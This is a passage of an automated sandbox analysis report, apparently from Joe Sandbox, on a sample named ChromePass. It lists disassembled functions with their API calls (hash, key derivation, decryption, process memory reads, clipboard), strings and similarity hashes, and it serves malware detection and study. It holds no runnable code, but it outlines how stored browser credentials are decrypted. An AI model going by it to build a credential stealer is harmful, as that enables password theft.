Part of subcall function 00402A96: CryptGetHashParam.ADVAPI32(?,00000002,00000414,00000414,00000000,00008004,?,00403303,00000000,00000470,?,00000000,?,00401AA1,00000000,00000414), ref: 00402AEF

memcmp.MSVCRT(F4458D15,00000000,00000014,00000000,00000470,?,00000000,?,00401AA1,00000000,00000414,00000000,?,?,00000414,?), ref: 00403311
LocalAlloc.KERNEL32(00000040,00000001,?,?,?,?,?,?,?,?,?), ref: 00403322
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,000000FF), ref: 0040338A

Part of subcall function 00402AFB: CryptHashData.ADVAPI32(00000000,00000000,?,00000000,00000000,K3@,K3@,00000001,00000000,?,0040334B,00000000,00000450,00000000,?,00000000), ref: 00402B28
Part of subcall function 00402AFB: CryptDeriveKey.ADVAPI32(00000001,00006603,00000000,00A80004,?,00000000,K3@,K3@,00000001,00000000,?,0040334B,00000000,00000450,00000000,?), ref: 00402B40
Part of subcall function 00402AFB: CryptDestroyHash.ADVAPI32(00000000,?,0040334B,00000000,00000450,00000000,?,00000000,?,?,?,?,?,?), ref: 00402B4B

memcpy.MSVCRT(00000000,000003A4,00000000,00000000,00000450,00000000,?,00000000,?,?,?,?,?,?), ref: 00403353
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,?,00000000,00000450,00000000,?,00000000,?,?,?,?), ref: 00403369
LocalFree.KERNEL32(00000000,?,00000000,00000450,00000000,?,00000000,?,?,?,?,?,?), ref: 00403384

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset$Crypt$Hashwcslen$memcpy$Data$Localmemcmp$AllocCloseDecryptDeriveDestroyErrorFileFreeHandleLastParamSize_snwprintf
String ID:
API String ID: 719044479-0
Opcode ID: e66f274a46e5aa937d266edd5eb17bc76c1f287efc3ee08981d969afb51344e0
Instruction ID: 3b63ed6c748118c4b19feb06f884a30135074ea0a6f3f385b07fc6008615f059
Opcode Fuzzy Hash: e66f274a46e5aa937d266edd5eb17bc76c1f287efc3ee08981d969afb51344e0
Instruction Fuzzy Hash: 7F718072900209AFDB51CF94CC81FDFBBBDAF48304F1441A6E905F7291EB749A498BA5

Function 004049F5 Relevance: 16.6, APIs: 11, Instructions: 59clipboardmemoryfileCOMMON

Download Yara Rule

APIs

EmptyClipboard.USER32 ref: 004049FF

Part of subcall function 0040483E: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00402F89,00000414,?,?,00000414), ref: 00404850

GetFileSize.KERNEL32(00000000,00000000), ref: 00404A1C
GlobalAlloc.KERNEL32(00002000,00000002), ref: 00404A2D
GlobalLock.KERNEL32(00000000), ref: 00404A3A
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00404A4D
GlobalUnlock.KERNEL32(00000000), ref: 00404A5F
SetClipboardData.USER32(0000000D,00000000), ref: 00404A68
GetLastError.KERNEL32 ref: 00404A70
CloseHandle.KERNEL32(?), ref: 00404A7C
GetLastError.KERNEL32 ref: 00404A87
CloseClipboard.USER32 ref: 00404A90

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleLockReadSizeUnlock
String ID:
API String ID: 3604893535-0
Opcode ID: f64421cc725b7c1d9fbbd9d31fc9a344247914c1808107a53bda7f5ba89435ae
Instruction ID: 66c021a7c07038b01ede7e69fa42450e3fc4db5bfc6c0bd181125446004d4c2c
Opcode Fuzzy Hash: f64421cc725b7c1d9fbbd9d31fc9a344247914c1808107a53bda7f5ba89435ae
Instruction Fuzzy Hash: 2B111676B40204FBD7205BE0EC8DA6E7B78EF44351F504175F502E21A1DB748956CFA9

Function 0040292A Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 004027EF: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000,00402C8F,?,00403271,00000414,?,?,?,?,?,?,?), ref: 004027FF

CryptCreateHash.ADVAPI32(00000000,00008004,00000000,00000000,?,?,?,?,?,?,?,00402A6E,?,00000000,?,?), ref: 0040294C
CryptHashData.ADVAPI32(00000002,n*@,00000040,00000000,?,?,?,?,?,?,00402A6E,?,00000000,?,?), ref: 00402965
CryptHashData.ADVAPI32(00000002,00000000,?,00000000,?,?,?,?,?,?,00402A6E,?,00000000,?,?), ref: 00402975
CryptGetHashParam.ADVAPI32(00000002,00000002,?,00000000,00000000,00008004,?,?,?,?,?,?,00402A6E,?,00000000,?), ref: 00402991
CryptDestroyHash.ADVAPI32(00000002,?,?,?,?,?,?,00402A6E,?,00000000,?,?), ref: 0040299D

Strings

n*@, xrefs: 0040295F
n*@, xrefs: 004029A3

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Crypt$Hash$Data$AcquireContextCreateDestroyParam
String ID: n*@$n*@
API String ID: 1860763720-3431974180
Opcode ID: a1c6cfe388ec5bc95268aecb14832fe34c0417f1b8fbc0751258a7f04bf5e137
Instruction ID: 7e61502366c1b5d51b3a18da5fbb5d34ba8d65d6071572742d50424c55b83f52
Opcode Fuzzy Hash: a1c6cfe388ec5bc95268aecb14832fe34c0417f1b8fbc0751258a7f04bf5e137
Instruction Fuzzy Hash: 9C013CB2600208FFDB119F95DD85D9F7BADEF08394F104075F604A2190DB75CE119B68

Function 00415232 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 280stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 004152A2
strlen.MSVCRT ref: 004153AD
strlen.MSVCRT ref: 004153C2

Strings

%s-mj%08X, xrefs: 00415300

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: strlen
String ID: %s-mj%08X
API String ID: 39653677-77246884
Opcode ID: 6214aa577ba11c95e72b07299b5c22ac23c3152fb9ea02e3572914e5a59f90af
Instruction ID: 007a3d4d5399354a95510e0c07ae60a0dcf900ee95ee2b5102a424b815092a05
Opcode Fuzzy Hash: 6214aa577ba11c95e72b07299b5c22ac23c3152fb9ea02e3572914e5a59f90af
Instruction Fuzzy Hash: 62A16D31A00609EFDB14DF99D980BEEB7B5EF84305F24806FE519A7251D778A9C1DB08

Function 004028C0 Relevance: 6.0, APIs: 4, Instructions: 43encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 004027EF: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000,00402C8F,?,00403271,00000414,?,?,?,?,?,?,?), ref: 004027FF

CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?,?,00000414,?,?,00402CBA,?,00000000,00000000,?), ref: 004028DD
CryptHashData.ADVAPI32(?,00000000,00000000,00000000,?,00402CBA,?,00000000,00000000,?), ref: 004028F1
CryptGetHashParam.ADVAPI32(?,00000002,?,00000000,00000000,00008004,?,00402CBA,?,00000000,00000000,?), ref: 00402911
CryptDestroyHash.ADVAPI32(?,?,00402CBA,?,00000000,00000000,?), ref: 0040291C

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Crypt$Hash$AcquireContextCreateDataDestroyParam
String ID:
API String ID: 1643522540-0
Opcode ID: 4abc5187658029d04eadc305b3a4a8b5872c38cd536de212c9e6ffa85d2ecb7f
Instruction ID: 74578af82488be9f60f0e5a89065d5117b9a557822fb1a36c517689b6b1684d7
Opcode Fuzzy Hash: 4abc5187658029d04eadc305b3a4a8b5872c38cd536de212c9e6ffa85d2ecb7f
Instruction Fuzzy Hash: 6FF0CD75600108FFDB115FA5DD89D9F7BADFF08354B408036B905E11A1DB75CE149B64

Function 0040109F Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 178COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003EC), ref: 004010F7
ChildWindowFromPoint.USER32(?,?,?), ref: 00401109
GetDlgItem.USER32(?,000003EE), ref: 0040113F
ChildWindowFromPoint.USER32(?,?,?), ref: 0040114C
GetDlgItem.USER32(?,000003EC), ref: 0040117A
ChildWindowFromPoint.USER32(?,?,?), ref: 0040118C
GetModuleHandleW.KERNEL32(00000000,?,?), ref: 00401195
LoadCursorW.USER32(00000000,00000067), ref: 0040119E
SetCursor.USER32(00000000,?,?), ref: 004011A5
GetDlgItem.USER32(?,000003EE), ref: 004011C6
ChildWindowFromPoint.USER32(?,?,?), ref: 004011D3
GetDlgItem.USER32(?,000003EC), ref: 004011ED
SetBkMode.GDI32(?,00000001), ref: 004011F9
SetTextColor.GDI32(?,00C00000), ref: 00401207
GetSysColorBrush.USER32(0000000F), ref: 0040120F
GetDlgItem.USER32(?,000003EE), ref: 00401230
EndDialog.USER32(?,00000001), ref: 0040125B
DeleteObject.GDI32(?), ref: 00401267
GetDlgItem.USER32(?,000003ED), ref: 0040128C
ShowWindow.USER32(00000000), ref: 00401295
GetDlgItem.USER32(?,000003EE), ref: 004012A1
ShowWindow.USER32(00000000), ref: 004012A4
SetDlgItemTextW.USER32(?,000003EE,00435A10), ref: 004012B5
SetWindowTextW.USER32(?,ChromePass), ref: 004012C3
SetDlgItemTextW.USER32(?,000003EA,?), ref: 004012DB
SetDlgItemTextW.USER32(?,000003EC,?), ref: 004012EC

Strings

ChromePass, xrefs: 004012BB

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
String ID: ChromePass
API String ID: 829165378-1216945463
Opcode ID: c86ec42037acb386c3d7f19869d454fc0983c514b3a938add632279c4e1b1622
Instruction ID: 633f5f3240eb59d71ddd47c84ea6a3452a0f5f069d18e330db16ec091ff88c78
Opcode Fuzzy Hash: c86ec42037acb386c3d7f19869d454fc0983c514b3a938add632279c4e1b1622
Instruction Fuzzy Hash: 4751AF3060070AEBDB21AFA1DC85E6F7BA5FB04300F50853AF556B65F0CB749992EB18

Function 004099AD Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 004099F2
GetDlgItem.USER32(?,000003EA), ref: 00409A0A
SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00409A28
SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00409A34
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00409A3C
memset.MSVCRT ref: 00409A63
memset.MSVCRT ref: 00409A85
memset.MSVCRT ref: 00409A9E
memset.MSVCRT ref: 00409AB2
memset.MSVCRT ref: 00409ACC
memset.MSVCRT ref: 00409AE1
GetCurrentProcess.KERNEL32 ref: 00409AE9
ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 00409B0C
ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 00409B3E
memset.MSVCRT ref: 00409B91
GetCurrentProcessId.KERNEL32 ref: 00409B9F
memcpy.MSVCRT(?,004351A0,0000021C), ref: 00409BCD
wcscpy.MSVCRT ref: 00409BF0
_snwprintf.MSVCRT ref: 00409C5F
SetDlgItemTextW.USER32(?,000003EA,?), ref: 00409C77
GetDlgItem.USER32(?,000003EA), ref: 00409C81
SetFocus.USER32(00000000), ref: 00409C88

Strings

{Unknown}, xrefs: 00409A77
Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00409C54

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
API String ID: 4111938811-1819279800
Opcode ID: b1bde3a8192c643e951b1987a295903b517f6871308dc926709a204fcec19dd3
Instruction ID: f46b8c1d35751f23f638552bba973a409d9d2525afe03ff9faab2e91771420ed
Opcode Fuzzy Hash: b1bde3a8192c643e951b1987a295903b517f6871308dc926709a204fcec19dd3
Instruction Fuzzy Hash: 8F71B672900119BFDB219B90EC85EEA377DFF48354F4000B6F908A31A1DB399E958F69

Function 0040A167 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 265COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0040A194
GetDlgItem.USER32(?,000003E8), ref: 0040A1A0
GetWindowRect.USER32(00000000,?), ref: 0040A1E2
GetWindowRect.USER32(?,?), ref: 0040A1ED
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040A201
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040A20F
73A1A570.USER32(?,?,?), ref: 0040A248
wcslen.MSVCRT ref: 0040A288
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0040A299
_snwprintf.MSVCRT ref: 0040A3A9
SetWindowTextW.USER32(?,?), ref: 0040A3BD
SetWindowTextW.USER32(?,00000000), ref: 0040A3DB
GetDlgItem.USER32(?,00000001), ref: 0040A411
GetWindowRect.USER32(00000000,?), ref: 0040A421
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040A42F
GetClientRect.USER32(?,?), ref: 0040A446
GetWindowRect.USER32(?,?), ref: 0040A450
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 0040A496
GetClientRect.USER32(?,?), ref: 0040A4A0
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040A4D8

Strings

STATIC, xrefs: 0040A348
%s:, xrefs: 0040A39E
EDIT, xrefs: 0040A37E

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Window$Rect$ItemPointsText$Client$A570ExtentPoint32_snwprintfwcslen
String ID: %s:$EDIT$STATIC
API String ID: 842022892-3046471546
Opcode ID: 3ed63544d24f05a459e2df5bad298fcb738aab0e64971990309182cbbee0f07f
Instruction ID: 529da0179c780a5d544effdaaa147742988758fb8093b8250eb4cb820fdc3d50
Opcode Fuzzy Hash: 3ed63544d24f05a459e2df5bad298fcb738aab0e64971990309182cbbee0f07f
Instruction Fuzzy Hash: 37B1DF71608301AFD720DFA9C984E6FBBE9FF88704F00492DF59992261DB75E8158F26

Function 00408008 Relevance: 19.6, APIs: 13, Instructions: 136windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408045
SHGetFileInfoW.SHELL32(0042C47C,00000000,?,000002B4,00004001), ref: 00408062
SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0040807C
SendMessageW.USER32(?,00001003,00000001,?), ref: 004080AE
SendMessageW.USER32(?,00001003,00000000,?), ref: 004080E8
GetModuleHandleW.KERNEL32(00000000), ref: 00408105
LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 0040811C
GetModuleHandleW.KERNEL32(00000000), ref: 00408124
LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00408137
GetSysColor.USER32(0000000F), ref: 0040814B
DeleteObject.GDI32(?), ref: 0040817F
DeleteObject.GDI32(00000000), ref: 00408182
SendMessageW.USER32(00000000,00001208,00000000,?), ref: 004081A0

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: MessageSend$DeleteHandleImageLoadModuleObject$ColorFileInfomemset
String ID:
API String ID: 3623935593-0
Opcode ID: f1d6e13c9e7902ba1a70fefff220e7e86028e1b9bf1ca88a0e6dc66da0dd0fdd
Instruction ID: b970c7279dff316045689880826364b4ff07a64489b44e8f4e94a6c15a1ce75a
Opcode Fuzzy Hash: f1d6e13c9e7902ba1a70fefff220e7e86028e1b9bf1ca88a0e6dc66da0dd0fdd
Instruction Fuzzy Hash: 0C41B731780308BFE7306FA0DC8AF9B7799FB08B44F400429F7996A1D1C6F665548B69

Function 00409277 Relevance: 16.6, APIs: 11, Instructions: 144windowCOMMON

Download Yara Rule

APIs

SetBkMode.GDI32(?,00000001), ref: 004092F3
SetTextColor.GDI32(?,00FF0000), ref: 00409301
SelectObject.GDI32(?,?), ref: 00409316
DrawTextExW.USER32(?,?,000000FF,?,00000004,?), ref: 0040934A
SelectObject.GDI32(00000014,00000005), ref: 00409356

Part of subcall function 0040910A: GetCursorPos.USER32(?), ref: 00409117
Part of subcall function 0040910A: GetSubMenu.USER32(?,00000000), ref: 00409125
Part of subcall function 0040910A: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 00409153

GetModuleHandleW.KERNEL32(00000000), ref: 00409371
LoadCursorW.USER32(00000000,00000067), ref: 0040937A
SetCursor.USER32(00000000), ref: 00409381
PostMessageW.USER32(?,0000041C,00000000,00000000), ref: 004093A3
SetFocus.USER32(?), ref: 004093D8
SetFocus.USER32(?), ref: 0040943C

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Cursor$FocusMenuObjectSelectText$ColorDrawHandleLoadMessageModeModulePopupPostTrack
String ID:
API String ID: 3230168590-0
Opcode ID: 71d2e6198dffcef25d3b4c1dca41765da3ad0f2f89c8379894b8b32abfbbe0ea
Instruction ID: e2851b7f04c43c8903919de8cdb59e50febb0207dd523eeb4f249a4d78b12013
Opcode Fuzzy Hash: 71d2e6198dffcef25d3b4c1dca41765da3ad0f2f89c8379894b8b32abfbbe0ea
Instruction Fuzzy Hash: 5351C031604105FFDB149F64C989AAEBB65FF48300F104076F915EB2E2CB35AC12CBA9

Function 0041A096 Relevance: 14.0, APIs: 1, Strings: 8, Instructions: 458COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,00000000,00000044), ref: 0041A4EF

Strings

no such column, xrefs: 0041A517, 0041A54E, 0041A55E
ambiguous column name, xrefs: 0041A51E, 0041A535
misuse of aliased aggregate %s, xrefs: 0041A48D
%s: %s.%s.%s, xrefs: 0041A536
%s: %s, xrefs: 0041A55F
%s: %s.%s, xrefs: 0041A54F
new, xrefs: 0041A2CD
old, xrefs: 0041A2F4

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memcpy
String ID: %s: %s$%s: %s.%s$%s: %s.%s.%s$ambiguous column name$misuse of aliased aggregate %s$new$no such column$old
API String ID: 3510742995-918941476
Opcode ID: ce5f642fff32ace456ff0f27eee6f0866df3f52276b77a5c37dfeaba0475903e
Instruction ID: a8d501e401562138e274917497f99ccbd38e5665a64f9815cc2eeeda41eb8903
Opcode Fuzzy Hash: ce5f642fff32ace456ff0f27eee6f0866df3f52276b77a5c37dfeaba0475903e
Instruction Fuzzy Hash: D1026E70901219DFDF14DF64C885AEEB7B1BF08324F14816BD815AB391D738ADA1CB9A

Function 00406925 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00406714: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040693E), ref: 00406720
Part of subcall function 00406714: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040693E), ref: 0040672E
Part of subcall function 00406714: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040693E), ref: 0040673F
Part of subcall function 00406714: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040693E), ref: 00406756
Part of subcall function 00406714: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040693E), ref: 0040675F

??2@YAPAXI@Z.MSVCRT(00000000), ref: 00406965
??2@YAPAXI@Z.MSVCRT(00000000,00000000), ref: 00406981
memcpy.MSVCRT(?,@JC,00000014), ref: 004069A6
memcpy.MSVCRT(?,@JC,00000014,?,@JC,00000014), ref: 004069BA
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00406A3D
??2@YAPAXI@Z.MSVCRT(0000000C,00000000), ref: 00406A47
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00406A7F

Part of subcall function 004059FD: GetModuleHandleW.KERNEL32(00000000,?,?,00401F52,?,?), ref: 00405A3C
Part of subcall function 004059FD: LoadStringW.USER32(00000000,00000519,00000FFF), ref: 00405AD5
Part of subcall function 004059FD: memcpy.MSVCRT(00000000,00000002,?,?,00401F52,?,?), ref: 00405B15

Part of subcall function 004059FD: wcscpy.MSVCRT ref: 00405A7E
Part of subcall function 004059FD: wcslen.MSVCRT ref: 00405A9C
Part of subcall function 004059FD: GetModuleHandleW.KERNEL32(00000000), ref: 00405AAA

Strings

@JC, xrefs: 00406992, 0040699C
d, xrefs: 00406A5E

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ??2@??3@$memcpy$HandleModule$LoadStringwcscpywcslen
String ID: @JC$d
API String ID: 1140211610-2744344691
Opcode ID: 1a53a92dabb9dce45c029cb191dcd57932caf01fac0d9be67952e58d6618586a
Instruction ID: 261557b8362d8e1841dc40049acf99a3ac1321b6604e5dabc247962c1d4a2784
Opcode Fuzzy Hash: 1a53a92dabb9dce45c029cb191dcd57932caf01fac0d9be67952e58d6618586a
Instruction Fuzzy Hash: B251BC72600700AFD724DF29C586B5AB7E4FF48318F10852EE55ADB781EB74E940CB44

Function 0040AAE5 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,",0000000C,?,?,00000000,004078CC,?,?), ref: 0040AB1C
memcpy.MSVCRT(?,&,0000000A,?,?,00000000,004078CC,?,?), ref: 0040AB48
memcpy.MSVCRT(?,<,00000008,?,?,00000000,004078CC,?,?), ref: 0040AB62

Strings

&, xrefs: 0040AB42
<br>, xrefs: 0040AB5C
<, xrefs: 0040AAF9
°, xrefs: 0040AB33
